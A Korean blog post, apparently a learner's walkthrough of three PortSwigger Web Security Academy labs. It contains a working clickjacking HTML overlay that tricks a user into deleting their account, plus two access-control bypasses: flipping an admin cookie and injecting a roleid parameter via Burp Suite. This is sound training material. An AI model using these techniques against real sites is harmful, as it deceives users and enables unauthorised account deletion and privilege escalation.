사용자가 미끼 웹사이트를 통하여 다른 콘텐츠를 클릭해 숨겨진 웹사이트에서 실행 가능한 컨텐츠를 클릭하도록 속이는(오버레이) 인터페이스 기반 공격
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
portswigger에서 보여주는 예시

wiener:peter를 통해 로그인하면 된다.
이 랩에는 로그인 기능과 CSRF 토큰으로 보호되는 계정 삭제 버튼이 포함되어 있는데 사용자는 미끼 웹 사이트에서 "클릭"이라는 단어를 표시하는 요소를 클릭한다.
계정 페이지를 구성하고 사용자가 계정을 삭제하도록 속이는 HTML을 만들면 해결된다고 한다.
우선 로그인해준 후, go to exploit serber를 통해 exploit server로 이동해준다.

Body를 바꿔준 후 Store하고 exploit 서버로 가면 
바뀐 것을 확인할 수 있다. 여기에 iframe 태그를 통하여 투명하게 해서? 삭제 버튼을 만들면 될 것 같다.
위에 있는 코드를 가져와서
https://signes.tistory.com/entry/div-%EB%B0%8F-iframe-%EC%82%AC%EC%9A%A9%EB%B2%95
이것을 보면서 수정했다
<style>
iframe{
position:relative;
width:1000px;
height:1000px;
opacity:0.5;
z-index:2;
}
div{
position:absolute;
top:500px;
left:100px;
z-index:1;
}
</style>
<div>click</div>
<iframe src="https://0aab00dc04dbe0d780e4171f006600ce.web-security-academy.net/my-account"></iframe>
이렇게 해주면

이렇게 보인다.
click위치를 교묘하게 숨긴 후에 opacity를 통해 투명하게 만들어준다.
그럼 성공!

얼렁뚱땅..ㅠ
이번건 접근제어 문제다.

/admin 을 통해 위조 가능한 쿠키를 사용해 관리자를 식별하는 관리자 패널이 있다.
관리자 패널에 액세스하여 carlos 사용자를 삭제하면 된다.
우선 /admin을 url에 쳐보면

admin계정으로 로그인한 경우에만 접근이 가능하다고 한다.
wiener:peter로 먼저 접근해보자
머.. 이메일 설정하는 것만 있고.. 할 수 있는게 없길래..
냅다 개발자도구 열어서 코드부터 admin있는지 살펴봤다.
element에는 없어서 cookie를 열어봤더니 admin이 false로 되어있다.

이걸 트루로 바꾼 후에 새로고침을 하면

admin panel이 추가되었다!
들어가서 삭제하면 성공!

이것도 접근제어 문제!

아까랑 비슷한데 roleid가 2인 사용자만 접근할 수 있는 것 같다.
아까랑 똑같이 /admin url에 넣고 엔터치면

이 문구가 나온다.
개발자 도구를 열어봐도 잘 모르겠어서 BurpSuite로 열어주었다.
repeater에 보내준 후 send 해보니까

roleid가 1이라고 되어있다. 이것만 2로 바꾸면 풀릴 것 같다.

그래서 email밑에 roleid가 2라고 추가해줬더니 바꼈다
우클 통해 
show response in browser을 눌러주니까 링크가 뜬다

copy해서 열어주니까 된다!!! 첨써보는데^^ 다행이군

이번에도 admin panel이 뜬다.
calos 삭제해주면

성공